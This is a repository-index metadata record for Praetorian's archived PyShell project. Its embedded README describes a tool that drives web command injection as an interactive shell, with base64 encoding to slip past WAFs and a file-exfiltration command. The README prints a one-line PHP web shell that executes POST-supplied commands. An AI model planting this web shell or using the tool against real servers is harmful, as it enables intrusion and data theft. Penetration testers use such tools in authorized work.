{"id":13775542,"url":"https://github.com/praetorian-inc/pyshell","last_synced_at":"2025-05-11T07:32:55.428Z","repository":{"id":64280044,"uuid":"69284727","full_name":"praetorian-inc/pyshell","owner":"praetorian-inc","description":"PyShell makes interacting with web-based command injection less painful, emulating the feel of an interactive shell as much as possible.","archived":true,"fork":false,"pushed_at":"2017-03-30T05:33:37.000Z","size":2476,"stargazers_count":255,"open_issues_count":3,"forks_count":50,"subscribers_count":20,"default_branch":"master","last_synced_at":"2024-08-04T09:01:57.253Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/praetorian-inc.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2016-09-26T19:22:05.000Z","updated_at":"2024-08-03T22:09:07.000Z","dependencies_parsed_at":"2023-01-15T08:00:45.954Z","dependency_job_id":null,"html_url":"https://github.com/praetorian-inc/pyshell","commit_stats":null,"previous_names":["praetorian-code/pyshell"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/praetorian-inc%2Fpyshell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/praetorian-inc%2Fpyshell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/praetorian-inc%2Fpyshell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/praetorian-inc%2Fpyshell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/praetorian-inc","download_url":"https://codeload.github.com/praetorian-inc/pyshell/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":253534084,"owners_count":21923515,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-03T17:01:40.723Z","updated_at":"2025-05-11T07:32:50.414Z","avatar_url":"https://github.com/praetorian-inc.png","language":"Python","funding_links":[],"categories":["\u003ca id=\"eec238a1a2657b70f7bbbe68a4421249\"\u003e\u003c/a\u003e其他"],"sub_categories":["\u003ca id=\"b239f12aca7aa942b45836032cbef99a\"\u003e\u003c/a\u003e转换"],"readme":"# PyShell - Shellify Your HTTP Command Injection!\n\nFirewall got you down? Are your reverse-shell connection attempts being\nfiltered? Are you stuck working solely over HTTP / HTTPS? Then this just might\nbe just the thing for you.\n\nPyShell exists to make interacting with web-based command injection less\npainful. The goal is to make it feel as much like an interactive shell as\npossible. Commands are base-64 encoded to help deal with WAFs, and are submitted\nas POST requests to be less visible in request logs.\n\nUsage is `python3 pyshell.py URL` where URL points to a script which performs\nthe command injection, something like this:\n\n```\n\u003c?php $r=base64_decode($_POST['cmd']).' '.base64_decode($_POST['opts']); echo `$r` ?\u003e\n```\n\nThe server-side script should accept the following parameters:\n - `cmd`: the command to be run, base64 encoded\n - `opts`: the options to provide to cmd, also base64 encoded\n - `[timeout]`: optional, denotes the number of seconds to wait for a command\n\n## USAGE DEMO:\n![Screencast](pyshell-usage.gif)\n\n## COOL FEATURES:\n - Basic command history (up arrow / down arrow to navigate).\n - Navigate directory tree with `cd [target]` pseudo-command.\n - Exfiltrate files or folders via `get [target]` pseudo-command.\n - Tab completion. (whoa!)\n\n## KNOWN ISSUES:\n - Trying to `cd` into a non-existent directory is not prevented\n\n## MISC NOTES:\nNote that you only get output when the command you run exits. Interactive\ncommands are also unsupported, for reasons that should be obvious -- although if\nyou ever forget why while using PyShell, we'll consider that a success!\n\nTo change the timeout parameter passed with each command, run `settimeout n`. It\ndefaults to 20. Unless you handle the timeout parameter server side, it does\nexactly nothing.\n\nYour command-history is located in `~/.pyshellhistory`.\n\nWhen exfiltrating data, a tgz file will be created in the `downloads`\nsubdirectory (which will be created as needed). If you do not have permission to\nread a file, the file will simply be omitted in the downloaded archive.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpraetorian-inc%2Fpyshell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fpraetorian-inc%2Fpyshell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpraetorian-inc%2Fpyshell/lists"}